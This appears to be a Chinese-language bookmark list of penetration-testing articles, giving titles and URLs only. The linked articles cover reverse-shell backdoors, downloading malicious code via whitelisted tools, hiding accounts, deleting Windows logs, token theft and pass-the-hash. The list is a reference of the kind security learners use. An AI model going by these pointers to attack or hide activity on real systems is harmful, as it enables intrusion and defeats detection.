https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E7%B3%BB%E7%BB%9F%E8%BF%9C%E7%A8%8B%E6%A1%8C%E9%9D%A2%E7%9A%84%E5%A4%9A%E7%94%A8%E6%88%B7%E7%99%BB%E5%BD%95/

滲透技巧之隱藏自己的工具

https://github.com/tom0li/security_circle/blob/master/51122255581554.md

白名單下載惡意程式碼的一個技巧

https://github.com/tom0li/security_circle/blob/master/28511224554581.md

白名單下載惡意程式碼

https://github.com/tom0li/security_circle/blob/master/51288554228124.md

一條命令實現無檔案相容性強的反彈後門,收集自強大的前烏雲

https://github.com/tom0li/security_circle/blob/master/15288418585142.md

滲透技巧——從github下載檔案的多種方法

https://xianzhi.aliyun.com/forum/topic/1649/

滲透技巧——從Admin許可權切換到System許可權

http://www.4hou.com/technology/8814.html

滲透技巧——程式的降權啟動

https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E7%A8%8B%E5%BA%8F%E7%9A%84%E9%99%8D%E6%9D%83%E5%90%AF%E5%8A%A8/

強制通過VPN上網,VPN斷線就斷網

https://www.t00ls.net/articles-38739.html

ip代理工具shadowProxy-代理池

https://mp.weixin.qq.com/s/ENjRuI5FZArtzV5H4LbJng

滲透技巧——Windows系統的帳戶隱藏

https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E7%B3%BB%E7%BB%9F%E7%9A%84%E5%B8%90%E6%88%B7%E9%9A%90%E8%97%8F/

滲透技巧——”隱藏”登錄檔的更多測試

http://www.4hou.com/penetration/9132.html

滲透技巧——Windows日誌的刪除與繞過

https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E6%97%A5%E5%BF%97%E7%9A%84%E5%88%A0%E9%99%A4%E4%B8%8E%E7%BB%95%E8%BF%87/

滲透技巧——Token竊取與利用

https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Token%E7%AA%83%E5%8F%96%E4%B8%8E%E5%88%A9%E7%94%A8/

域滲透——Pass The Hash的實現

https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-Pass-The-Hash%E7%9A%84%E5%AE%9E%E7%8E%B0/